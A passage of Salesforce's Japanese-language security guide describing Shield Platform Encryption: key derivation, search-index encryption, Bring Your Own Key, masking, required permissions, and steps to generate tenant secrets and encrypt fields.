れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption では、広く使用されているさまざまな標準項目、一部の
カスタム項目、および種々のファイルを暗号化できます。Shield Platform Encryption

では、個人取引先、ケース、検索、承認プロセス、およびその他の重要な Salesforce

機能もサポートします。従来の暗号化では、その目的で作成した特殊なカスタ
ムテキスト項目のみを保護できます。

プラットフォームの
暗号化

従来の暗号化機能

追加料金が課せられ
る

基本のユーザライセ
ンスに含まれる

価格設定

保存時の暗号化

ネイティブソリューション (ハード
ウェアまたはソフトウェアは不要)

256 ビットの
Advanced Encryption

Standard (AES)

128 ビットの
Advanced Encryption

Standard (AES)

暗号化アルゴリズム

HSM ベースの鍵の派生

「暗号化鍵の管理」権限
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プラットフォームの暗号化従来の暗号化機能

鍵の生成、エクスポート、インポート、破棄

PCI-DSS L1 準拠

マスク

種別と文字をマスク

暗号化された項目値の参照に「暗号化されたデー
タの参照」権限が必要

標準項目の暗号化

添付ファイル、ファイル、およびコンテンツの暗
号化

(カスタムデータ型専用、175

文字に制限)

暗号化カスタム項目

サポート対象のカスタム項目のデータ型について
既存の項目を暗号化

検索 (UI、部分検索、ルックアップ、特定の SOSL

クエリ)

API へのアクセス

ワークフロールールおよびワークフロー項目自動
更新で使用可能

承認プロセスの開始条件および承認ステップ条件
で使用可能

関連トピック:

カスタム項目の従来の暗号化
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バックグラウンド: Shield Platform Encryption のプロセス

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザがデータを送信する場合、アプリケーションサーバは、そのキャッシュ
から組織固有のデータ暗号化鍵を検索します。キャッシュにない場合、アプリ
ケーションサーバは、データベースから暗号化されたテナントの秘密を取得し、
鍵派生サーバに鍵の派生を要求します。Shield Platform Encryption サービスは、次
にアプリケーションサーバのデータを暗号化します。顧客が鍵派生を除外する
か、キャッシュのみの鍵サービスを使用する場合、暗号化サービスでは、顧客
が指定したデータ暗号化鍵を直接、顧客データに適用します。
Salesforce は、ハードウェアセキュリティモジュール (HSM) を使用して、主秘密お
よびテナントの秘密を安全に生成します。一意の鍵は、主秘密およびテナント
の秘密を入力として、鍵派生関数 (KDF) の PBKDF2 を使用して派生します。

Shield Platform Encryption のプロセスフロー

1. Salesforce ユーザが暗号化されたデータを保存すると、ランタイムエンジンはメタデータに基づいて、項目、
ファイル、または添付ファイルをデータベースに保存する前に暗号化するかどうかを判断します。

2. 暗号化する必要がある場合、暗号化サービスはキャッシュメモリの一致するデータ暗号化鍵をチェックし
ます。

3. 暗号化サービスは鍵が存在するかどうかを判断します。
a. 存在する場合、暗号化サービスは鍵を取得します。
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b. 存在しない場合、サービスは派生要求を鍵派生サーバに送信し、Salesforce Platform で実行されている暗号
化サービスに返します。

4. 鍵の取得または派生後に、暗号化サービスはランダムな初期化ベクトル (IV) を生成し、256 ビットの AES 暗
号方式を使用してデータを暗号化します。

5. 暗号文は、データベースまたはファイルストレージに保存されます。データ暗号化鍵の派生に使用された
テナントの秘密の IV と対応する ID は、データベースに保存されます。

Salesforce は、各リリースの開始時に新しい主秘密を生成します。

バックグラウンド: 検索インデックスの暗号化のプロセス

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Salesforce 検索エンジンは、オープンソースのエンタープライズ検索プラット
フォームソフトウェア Apache Solr 上に構築されています。検索インデックスは、
データベースに保存された元のレコードにリンクするレコードデータのトーク
ンを保存しており、Solr 内に存在します。Salesforce では、検索インデックスは
パーティションでセグメントに分割されるので、規模を拡張できます。Apache

Lucene はコアライブラリとして使用されます。
Shield Platform Encryption の HSM ベースの鍵派生アーキテクチャ、メタデータ、お
よび設定を使用して、検索インデックスの暗号化は Shield Platform Encryption が使
用されているときに実行されます。解決策として、組織固有の AES-256 ビット暗
号化鍵を使用して、組織固有の検索インデックス (ファイルの種類は .fdt、.tim、
および .tip) に強力な暗号化を適用します。検索インデックスは検索インデック
スセグメントレベルで暗号化され、すべての検索インデックス操作では、イン
デックスブロックがメモリ内で暗号化される必要があります。
検索インデックスや鍵キャッシュにアクセスするには、プログラムで API を使用
するほかありません。
Salesforce セキュリティ管理者は、[設定] から [検索インデックスの暗号化] を有効
にできます。管理者は、まず検索インデックス種別のテナントの秘密を作成し、検索インデックスの暗号化を
有効にします。管理者は、暗号化する項目とファイルを選択して、暗号化ポリシーを設定します。組織固有の
HSM 派生鍵は、必要に応じてテナントの秘密から派生します。鍵素材は安全なチャネルの検索エンジンのキャッ
シュに渡されます。
ユーザがレコードを作成または編集するときのプロセスは、次のとおりです。
1. コアアプリケーションで、検索インデックスセグメントをメータデータに基づいて暗号化するかどうかを

決定します。
2. 検索インデックスセグメントを暗号化する必要がある場合は、暗号化サービスにより、キャッシュメモリ

内で検索暗号化鍵 ID の一致があるかどうかが確認されます。
3. 暗号化サービスで、鍵がキャッシュに存在するかどうかが判断されます。

a. キャッシュに鍵が存在する場合、暗号化サービスはその鍵を暗号化に使用します。
b. 鍵が存在しない場合、要求がコアアプリケーションに送信されます。コアアプリケーションは鍵派生

サーバに認証済み派生要求を送信し、鍵がコアアプリケーションサーバに返されます。
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4. 鍵の取得後に、暗号化サービスはランダムな初期化ベクトル (IV) を生成し、NSS または JCE の AES-256 実装を
使用してデータを暗号化します。

5. 鍵 ID (インデックスセグメントの暗号化に使用される鍵の ID) と IV は検索インデックスに保存されます。
ユーザが暗号化データを検索するときのプロセスは、次に示すように、類似しています。
1. ユーザが用語を検索すると、用語は検索対象の Salesforce オブジェクトとともに検索インデックスに渡され

ます。
2. 検索インデックスで検索が実行されると、暗号化サービスはメモリ内の検索インデックスの該当するセグ

メントを開き、鍵 ID と IV を参照します。
3. ユーザがレコードを作成または編集する場合のプロセスのステップ 3 から 5 が繰り返されます。
4. 検索インデックスでは検索が処理され、結果がユーザにシームレスに返されます。
Salesforce システム管理者が項目の暗号化を無効にすると、暗号化されていたすべてのインデックスセグメント
の暗号化が解除され、鍵 ID は Null に設定されます。このプロセスには最大 7 日間かかります。

Shield Platform Encryption は Sandbox でどのように機能しますか?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

本番組織から Sandbox を更新すると、本番組織の正確なコピーが作成されます。
本番組織で Shield Platform Encryption が有効になっている場合、本番で作成された
テナントの秘密を含め、すべての暗号化設定がコピーされます。
Sandbox が更新されると、テナントの秘密の変更が現在の組織に限定されます。
つまり、Sandbox のテナントの秘密を循環または破棄しても、本番組織には影響
がないことを意味します。
ベストプラクティスとして、更新後に Sandbox のテナントの秘密を循環します。
循環により、本番と Sandbox で異なるテナントの秘密が使用されます。Sandbox

のテナントの秘密を破棄すると、部分コピーの場合も完全コピーの場合も暗号
化データを使用できなくなります。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。相違点
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Bring Your Own Key を使用する理由

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption の Bring Your Own Key (BYOK) を使用することで、重要なデー
タへの不正アクセスが発生した場合に、より強固に保護できます。金融データ
(クレジットカード番号など)、医療データ (カルテや保険情報など)、またはその
他のプライベートなデータ (社会保障番号、住所、電話番号など) を扱う場合に
義務付けられる規制要件を満たすのに役立つ場合もあります。鍵素材の設定が
完了すれば、通常に Salesforce 組織内で暗号化を行うのと同じように Shield Platform

Encryption を使用できます。
Shield Platform Encryption を使用すると、Salesforce システム管理者は、データ暗号化
鍵を不正アクセスから保護しつつ、これらの鍵のライフサイクルを管理できま
す。組織のテナントの秘密のライフサイクルを制御することで、派生するデー
タ暗号化鍵のライフサイクルを制御します。または、鍵派生を完全に除外し、
最終的なデータ暗号化鍵をアップロードすることもできます。
データ暗号化鍵は Salesforce 内に保存されません。代わりに、顧客データを暗号
化または復号化するために鍵が必要になるたびに、必要に応じて主秘密とテナ
ントの秘密から派生します。主秘密は、リリースごとに 1 回、すべてのユーザ
向けに、ハードウェアセキュリティモジュール (HSM) によって生成されます。テ
ナントの秘密は、組織に対して一意で、生成、有効化、取り消し、破棄のタイミングを制御できます。
鍵素材の設定には 4 つのオプションがあります。
• Shield 鍵管理サービス (KMS) を使用して、組織固有のテナントの秘密を生成する。
• オンプレミス HSM などの任意のインフラストラクチャを使用して、Salesforce 外でテナントの秘密を生成お

よび管理し、その後、そのテナントの秘密を Salesforce KMS にアップロードする。この方法は一般に「Bring

Your Own Key」と呼ばれますが、実際には独自の鍵ではなく、鍵を派生させるための独自のテナントの秘密
を使用します。

• Shield KMS 鍵派生プロセスを除外し、Bring Your Own Key サービスを使用する。任意のインフラストラクチャ
を使用して、テナントの秘密ではなくデータ暗号化鍵を作成し、その後、このデータ暗号化鍵を Shield KMS

にアップロードします。鍵ごとに派生を除外すると、Shield KMS は派生プロセスを省略し、この鍵素材を最
終的なデータ暗号化鍵として使用します。顧客が指定したデータ暗号化鍵は、顧客が指定したテナントの
秘密と同様に循環できます。

• 選択した鍵サービスを使用して鍵素材を生成し、Salesforce の外部に保存します。Salesforce のキャッシュの
みの鍵サービスを使用すれば、必要に応じて鍵素材を取得できます。鍵サービスはユーザの鍵素材を、ユー
ザが設定した安全なチャネルに送信します。その後、鍵素材は暗号化され、即時の暗号化操作および複合
化操作用のキャッシュに保存されます。
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私の暗号化されたデータがマスクされない理由は?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption サービスを使用できない場合、一部の暗号化項目でデー
タがマスクされます。これは、ユーザのデータへのアクセスを制御するためで
はなく、暗号化の主要な問題のトラブルシューティングを行うためです。ユー
ザに表示されないようにしたいデータがある場合、それらのユーザの項目レベ
ルセキュリティ設定、レコードアクセス設定、およびオブジェクト権限を再確
認します。
暗号化により、部外者が何とか Salesforce データを入手したとしても、そのデー
タの使用を防止できます。これは、認証済みユーザからデータを非表示にする
方法ではありません。認証済みユーザのデータ表示を制御する方法は、ユーザ
権限のみです。保存時の暗号化は権限ではなくログインに関連するものです。
Shield Platform Encryption では、特定のデータセットの表示が許可されたユーザに
は、そのデータが暗号化されているかどうかに関係なくデータが表示されます。
• 認証とは、正当なユーザのみがシステムにログインできるようにすることで

す。たとえば、会社の Salesforce 組織を使用できるのが、その会社の有効な従
業員のみだとします。従業員以外は誰も認証されず、ログインできません。
何とかデータを入手できたとしても、暗号化されているため役に立ちませ
ん。

• 承認では、認証済みユーザが使用できるデータまたは機能を定義します。たとえば、営業担当はリードオ
ブジェクトのデータを参照および使用できますが、営業マネージャ向けの地域の売上予測を参照すること
はできません。営業担当とマネージャのどちらも正常にログイン (認証) されますが、権限 (承認) は異なり
ます。データが暗号化されているかどうかは、関係ありません。

一般に、データはマスクされるが暗号化されないか、暗号化されるがマスクされません。たとえば、多くの場
合、規制当局はクレジットカード番号の最後の 4 桁のみをユーザに表示することを要求します。通常、アプリ
ケーションで残りの数値がマスクされます。つまり、ユーザの画面ではその数値がアスタリスクに置き換わり
ます。暗号化されていないと、保存先のデータベースに移動できれば、マスクされている数値を読み取ること
ができます。
クレジットカード番号の場合、マスクでは不十分な可能性があります。データベース内でクレジットカード番
号を暗号化してもしなくてもかまいません。(暗号化することをお勧めします)。暗号化しても、認証済みユー
ザには同じマスク値が表示されます。
この方法では、マスクと暗号化は異なる問題に対する異なるソリューションです。認証されているがデータの
参照は承認されていないユーザにそのデータが表示されないようにするには、データをマスクします。データ
が盗まれないようにするには、データを暗号化します。より正確に言えば、盗まれてもデータが役に立たない
ようにします。
次の表に、マスクが使用される項目を示します。その他すべての項目はマスクが使用されません。

意味マスク項目の型

この項目は暗号化されていて、暗号化鍵が破棄さ
れています。

?????メール、電話、テキス
ト、テキストエリア、ロ
ングテキストエリア、URL
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意味マスク項目の型

このサービスは現在使用できません。このサービ
スへのアクセスについては、Salesforce にお問い合
わせください。

!!!!!

この項目は暗号化されていて、暗号化鍵が破棄さ
れています。

08/08/1888カスタム日付

このサービスは現在使用できません。このサービ
スへのアクセスについては、Salesforce にお問い合
わせください。

01/01/1777

この項目は暗号化されていて、暗号化鍵が破棄さ
れています。

08/08/1888 12:00 PMカスタム日付/時間

このサービスは現在使用できません。このサービ
スへのアクセスについては、Salesforce にお問い合
わせください。

01/01/1777 12:00 PM

これらのマスク文字を暗号化項目に入力することはできません。たとえば、日付項目が暗号化されていて、
「07/07/1777」と入力した場合、異なる値を入力しないと保存できません。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

Shield Platform Encryption のリリース方法

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Visual Studio Code 向け Salesforce 拡張機能、移行ツール、ワークベンチなどのツー
ルを使用して Shield Platform Encryption を組織にリリースする場合、暗号化項目属
性は保持されます。ただし、異なる暗号化設定の組織にリリースする場合、そ
の影響はリリース先組織で Shield Platform Encryption が有効になっているかどうか
によって異なります。
Salesforce は、リリース方法に関係なく、実装が Shield Platform Encryption のガイド
ラインに違反しないかどうかを自動的に確認します。

結果対象組織ソース組織

ソース暗号化項目属性で
有効化が示される

Shield Platform Encryption が
有効

Shield Platform Encryption が
有効

暗号化項目属性が無視さ
れる

Shield Platform Encryption が
有効でない

Shield Platform Encryption が
有効

対象暗号化項目属性で有
効化が示される

Shield Platform Encryption が
有効

Shield Platform Encryption が
有効でない
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メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。この違いに
ついては、こちらをクリックしてください。

暗号化ポリシーの設定
エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

暗号化ポリシーは、Shield Platform Encryption でデータを暗号化するための計画で
す。暗号化の実装方法を選択できます。たとえば個別の項目を暗号化し、それ
らの項目に異なる暗号化スキームを適用できます。またファイルや添付ファイ
ル、Chatter のデータ、検索インデックスなど、他のデータ要素を暗号化するこ
ともできます。暗号化は、項目レベルセキュリティやオブジェクトレベルセキュ
リティとは異なります。これらの制御は、暗号化ポリシーを実装する前に実施
します。
Shield Platform Encryption を組織で使用するには、Salesforce アカウントエグゼクティ
ブに問い合わせてください。アカウントエグゼクティブが正しいライセンスを
プロビジョニングできるようにお手伝いしますので、ユーザは一意の鍵素材を
作成し、データの暗号化を開始できます。

警告:  Sandbox 組織で Shield Platform Encryption をテストし、レポート、ダッ
シュボード、プロセス、および他の操作が正常に機能することを確認する
ことをお勧めします。

このセクションの内容:

1. Shield Platform Encryption に必要なユーザ権限
暗号化と鍵の管理に関するロールに基づいて権限をユーザに割り当てます。ユーザによっては、暗号化す
るデータを選択するための権限が必要だったり、証明書または鍵素材と連携するための権限の組み合わせ
が必要だったりします。他のユーザ権限と同様、ユーザプロファイルで次の権限を有効にします。

2. Salesforce を使用したテナントの秘密の生成
Salesforce では、[設定] メニューから簡単に一意のテナントの秘密を生成できます。

3. 種別によるテナントの秘密の管理
テナントの秘密種別を使用することで、Shield Platform Encryption テナントの秘密を使用してどのような種類
のデータを暗号化するかを指定できます。各種データを暗号化するテナントの秘密に、異なる鍵の循環サ
イクルまたは破棄ポリシーを適用できます。Salesforce に保存されている検索インデックスファイルまたは
その他のデータにテナントの秘密を適用できます。

4. 標準項目の新規データの暗号化
[暗号化ポリシー] ページで Shield Platform Encryption を使用して、標準オブジェクトの標準項目を暗号化でき
ます。最良の結果を得るには、暗号化する項目の数を最小限に抑えます。

5. カスタムオブジェクトの項目とカスタム項目の暗号化
カスタムオブジェクトの標準項目、標準オブジェクトとカスタムオブジェクト両方のカスタム項目を暗号
化できます。Shield Platform Encryption では、インストール済み管理パッケージのカスタム項目もサポートさ
れます。各オブジェクトの管理設定からカスタム項目に暗号化を適用します。最良の結果を得るには、暗
号化する項目の数を最小限に抑えます。項目に暗号化を追加すると、その項目の新規データがすべて暗号
化されます。
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6. 新しいファイルと添付ファイルの暗号化
データの保護を一層強化するために、ファイルや添付ファイルを暗号化します。Shield Platform Encryption が
有効になっている場合、各ファイルまたは添付ファイルをアップロードするときにその内容が暗号化され
ます。

7. Chatter のデータの暗号化
Chatter の Shield Platform Encryption を有効にすると、Chatter でユーザが共有する情報にセキュリティレイヤが
追加されます。フィード投稿とコメント、質問と回答、リンク名と URL、アンケートの質問と選択肢、およ
びカスタムリッチパブリッシャーアプリケーションのコンテンツに保存されたデータを暗号化できます。

8. 検索インデックスファイルの暗号化
データベースで暗号化されている個人識別情報 (PII) やデータの検索が必要になることがあります。組織を
検索すると、結果は検索インデックスファイルに保存されます。Shield Platform Encryption でこれらの検索イ
ンデックスファイルを暗号化し、データに対してもう 1 つのセキュリティレイヤーを追加できます。

9. Tableau CRM データの暗号化
Tableau CRM Encryption の使用を開始するには、Shield Platform Encryption を使用してテナントの秘密を生成しま
す。Tableau CRM テナントの秘密を生成すると、Tableau CRM では Shield Platform Encryption 鍵管理アーキテクチャ
を使用して Tableau CRM データを暗号化します。

10. イベントバスデータの暗号化
保存時の変更データキャプチャまたはプラットフォームイベントメッセージの暗号化を有効にするには、
イベントのテナントの秘密を生成してから、暗号化を有効にします。

11. 互換性の問題の修正
Shield Platform Encryption で暗号化する項目またはファイルを選択すると、副作用が発生しないかどうかが
Salesforce によって自動的にチェックされます。既存の設定が原因で Salesforce でのデータアクセスや通常の
使用に問題が発生する可能性がある場合は、検証サービスにより警告が表示されます。これらの問題を解
決するには、いくつかのオプションがあります。

12. 項目に対する暗号化の無効化
ある時点で、項目やファイルあるいはその両方の Shield Platform Encryption を無効にする必要が生じる場合が
あります。項目の暗号化は個別に有効または無効にできますが、ファイルの暗号化はすべてを有効または
無効にする必要があります。
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Shield Platform Encryption に必要なユーザ権限

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

暗号化と鍵の管理に関するロールに基づいて権限をユーザに割り当てます。ユー
ザによっては、暗号化するデータを選択するための権限が必要だったり、証明
書または鍵素材と連携するための権限の組み合わせが必要だったりします。他
のユーザ権限と同様、ユーザプロファイルで次の権限を有効にします。

「証明書
の管理」

「設定・
定義の参

照」

「アプリ
ケーショ
ンのカス
タマイ
ズ」

暗号化鍵
の管理

プラットフォームの暗号化の [設
定] ページの表示

(省略可
能)

[暗号化ポリシー] ページ設定の編
集

テナントの秘密および顧客が指定
した鍵素材の生成、破棄、エクス
ポート、インポート、アップロー
ド

API を使用した TenantSecret オブ
ジェクトのクエリ
Shield Platform Encryption Bring Your

Own Key サービスでの HSM により
保護された証明書を編集、アップ
ロード、およびダウンロードする

(BYOK

機能向け)
[高度な設定] ページで機能を有効
にする

システム管理者プロファイルを持つユーザの場合、「アプリケーションのカスタマイズ」権限と「証明書の管
理」権限が自動的に有効になります。

暗号化ポリシー設定へのアクセスの制限
システム管理者が暗号化ポリシータスクを完了するには、「暗号化鍵の管理」権限も必要となるように設定で
きます。これらのタスクには、項目の暗号化スキームの変更と、項目、ファイル、添付ファイル、およびその
他のデータ要素の暗号化の有効化と無効化があります。
この機能を選択するには、「暗号化鍵の管理」権限が必要です。この機能は、[高度な設定] ページで選択でき
ます。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力し、[高度な設定] を選択しま

す。
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2. [暗号化ポリシー設定へのアクセスを制限する] を選択します。
[暗号化ポリシー設定へのアクセスを制限する] をプログラムで有効にすることもできます。詳細は、『メ
タデータ API 開発者ガイド』の「PlatformEncryptionSettings」を参照してください。

この制限は、API を使用して、または [暗号化ポリシー] ページやオブジェクトマネージャなどの [設定] ページ
から実行されるアクションに適用されます。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

Salesforce を使用したテナントの秘密の生成

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を破棄す
る
• 「暗号化鍵の管理」

Salesforce では、[設定] メニューから簡単に一意のテナントの秘密を生成できま
す。
承認されたユーザのみが、[プラットフォームの暗号化] ページからテナントの秘
密を生成できます。「暗号化鍵の管理」権限を割り当てるように Salesforce シス
テム管理者に依頼してください。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. [テナントの秘密種別を選択] ドロップダウンリストで、データ型を選択しま

す。
3. [テナントの秘密を生成] をクリックします。

テナントの秘密を生成できる頻度はテナントの秘密種別によって異なりま
す。
• Salesforce のデータのテナントの秘密は、本番組織では 24 時間ごと、Sandbox

組織では 4 時間ごとに生成できます。
• 検索インデックス種別のテナントの秘密は 7 日ごとに生成できます。

メモ: 有効およびアーカイブされたテナントの秘密は種別ごとに最大 50

件まで使用できます。たとえば、Salesfoce のデータのテナントの秘密は
有効を 1 件、アーカイブを 49 件使用でき、Analytics テナントの秘密も同
じ数を使用できます。この制限には、Salesforce が生成した鍵素材と、顧
客が指定した鍵素材が含まれます。
制限に達した場合、別の鍵を再度有効化、再度アーカイブ、またはコー
ルアウトを作成するには、既存の鍵を破棄します。鍵を破棄する前に、
有効な鍵で暗号化するデータを同期します。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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種別によるテナントの秘密の管理

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を破棄す
る
• 「証明書の管理」

および

暗号化鍵の管理

テナントの秘密種別を使用することで、Shield Platform Encryption テナントの秘密
を使用してどのような種類のデータを暗号化するかを指定できます。各種デー
タを暗号化するテナントの秘密に、異なる鍵の循環サイクルまたは破棄ポリシー
を適用できます。Salesforce に保存されている検索インデックスファイルまたは
その他のデータにテナントの秘密を適用できます。
テナントの秘密は、暗号化するデータの型に応じて分類されます。
Salesforce のデータ

確率的暗号化スキームを使用してデータを暗号化します (項目、添付ファイ
ル、および検索インデックスファイル以外のファイルのデータを含む)。

Salesforce のデータ (確定的)

確定的暗号化スキームを使用してデータを暗号化します (項目、添付ファイ
ル、および検索インデックスファイル以外のファイルのデータを含む)。

検索インデックス
検索インデックスファイルを暗号化します。

分析
Tableau CRM データを暗号化します。

イベントバス
イベントバスに一時的に保存されたイベントメッセージを暗号化します。変
更データキャプチャイベントの場合、この秘密はデータ変更およびそれが含
まれる対応するイベントを暗号化します。プラットフォームイベントの場
合、この秘密はイベント項目データが含まれるイベントメッセージを暗号化
します。

メモ:

• Spring '17 より前に生成またはアップロードされたテナントの秘密は、
Salesforce のデータ型に分類されます。

• 有効およびアーカイブされたテナントの秘密は種別ごとに最大 50 件ま
で使用できます。たとえば、Salesfoce のデータのテナントの秘密は有効
を 1 件、アーカイブを 49 件使用でき、Analytics テナントの秘密も同じ数
を使用できます。この制限には、Salesforce が生成した鍵素材と、顧客が
指定した鍵素材が含まれます。
制限に達した場合、別の鍵を再度有効化、再度アーカイブ、またはコー
ルアウトを作成するには、既存の鍵を破棄します。鍵を破棄する前に、
有効な鍵で暗号化するデータを同期します。

1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力し、[鍵の管理]を選択します。
2. [テナントの秘密種別を選択] ドロップダウンリストで、データ型を選択します。

[鍵の管理] ページに、そのデータ型のすべてのテナントの秘密が表示されます。特定の種別のテナントの
秘密を表示中にテナントの秘密を生成またはアップロードすると、それがそのデータの有効なテナントの
秘密になります。
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メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

標準項目の新規データの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

項目を暗号化する
• 「アプリケーションの

カスタマイズ」

[暗号化ポリシー] ページで Shield Platform Encryption を使用して、標準オブジェクト
の標準項目を暗号化できます。最良の結果を得るには、暗号化する項目の数を
最小限に抑えます。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。相違点

組織の規模によっては、標準項目の暗号化を有効にするために数分かかること
があります。
1. 組織に有効な暗号化鍵があることを確認します。不明な場合は、システム管

理者に確認してください。
2. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[暗号化ポリシー] を選択します。
3. [項目を暗号化] をクリックします。
4. [編集] をクリックします。
5. 暗号化する項目を選択します。

この項目に入力された新しいデータはすべて暗号化されます。デフォルトで
は、データは確率的暗号化スキームを使用して暗号化されます。データに確
定的暗号化を適用するには、[暗号化スキーム] リストから [確定的] を選択し
ます。詳細は、Salesforce ヘルプの「確定的暗号化での絞り込みのサポート」
を参照してください。

6. [保存] をクリックします。
プラットフォームの暗号化の自動検証サービスによって、暗号化がブロックさ
れる可能性のある組織内設定がチェックされます。互換性がない設定を修正す
る提案があると、メールで通知されます。
自動的に暗号化されるのは、暗号化を有効にした後に作成または更新されたレコードの項目値のみです。項目
値が暗号化されるように既存のレコードを更新するには、Salesforce にお問い合わせください。

メモ: カスタムオブジェクトの標準項目、たとえばカスタムオブジェクト名などを暗号化するには、「カ
スタムオブジェクトの項目とカスタム項目の暗号化」を参照してください。

131

暗号化ポリシーの設定Salesforce セキュリティガイド



カスタムオブジェクトの項目とカスタム項目の暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

項目を暗号化する
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトの標準項目、標準オブジェクトとカスタムオブジェクト
両方のカスタム項目を暗号化できます。Shield Platform Encryption では、インストー
ル済み管理パッケージのカスタム項目もサポートされます。各オブジェクトの
管理設定からカスタム項目に暗号化を適用します。最良の結果を得るには、暗
号化する項目の数を最小限に抑えます。項目に暗号化を追加すると、その項目
の新規データがすべて暗号化されます。

このセクションの内容:

Salesforce Classic のカスタム項目の新規データの暗号化
Salesforce Classic の新しいカスタム項目に Shield Platform Encryption を適用するか、
既存のカスタム項目に入力された新しいデータに暗号化を追加します。
Lightning Experience のカスタム項目の新規データの暗号化
Lightning Experience の新しいカスタム項目に Shield Platform Encryption を適用する
か、既存のカスタム項目に入力された新しいデータに暗号化を追加します。
インストール済み管理パッケージのカスタム項目の暗号化
インストール済みパッケージで Shield Platform Encryption がサポートされている
場合、そのパッケージのカスタム項目を暗号化できます。[高度な設定] ペー
ジからインストール済み管理パッケージのカスタム項目の暗号化をオンに
し、次に、暗号化をインストール済み管理パッケージのカスタム項目に適用
します。
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Salesforce Classic のカスタム項目の新規データの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

項目を暗号化する
• 「アプリケーションの

カスタマイズ」

Salesforce Classic の新しいカスタム項目に Shield Platform Encryption を適用するか、既
存のカスタム項目に入力された新しいデータに暗号化を追加します。
カスタム項目に確定的暗号化を適用するには、[設定] の [プラットフォームの暗
号化] の [高度な設定] ページで、確定的暗号化を有効にします。
1. オブジェクトの管理設定から、[項目] に移動します。
2. [カスタム項目 & リレーション] セクションで、項目を作成するか、既存の項

目を編集します。
3. [暗号化] を選択します。

この項目に入力された新しいデータはすべて暗号化されます。デフォルトで
は、データは確率的暗号化スキームを使用して暗号化されます。データに確
定的暗号化を適用するには、[暗号化] にリストされたオプションから [確定的]

を選択します。
4. [保存] をクリックします。
Shield Platform Encryption の自動検証サービスによって、暗号化がブロックされる
可能性のある組織内の設定がチェックされます。互換性がない設定を修正する
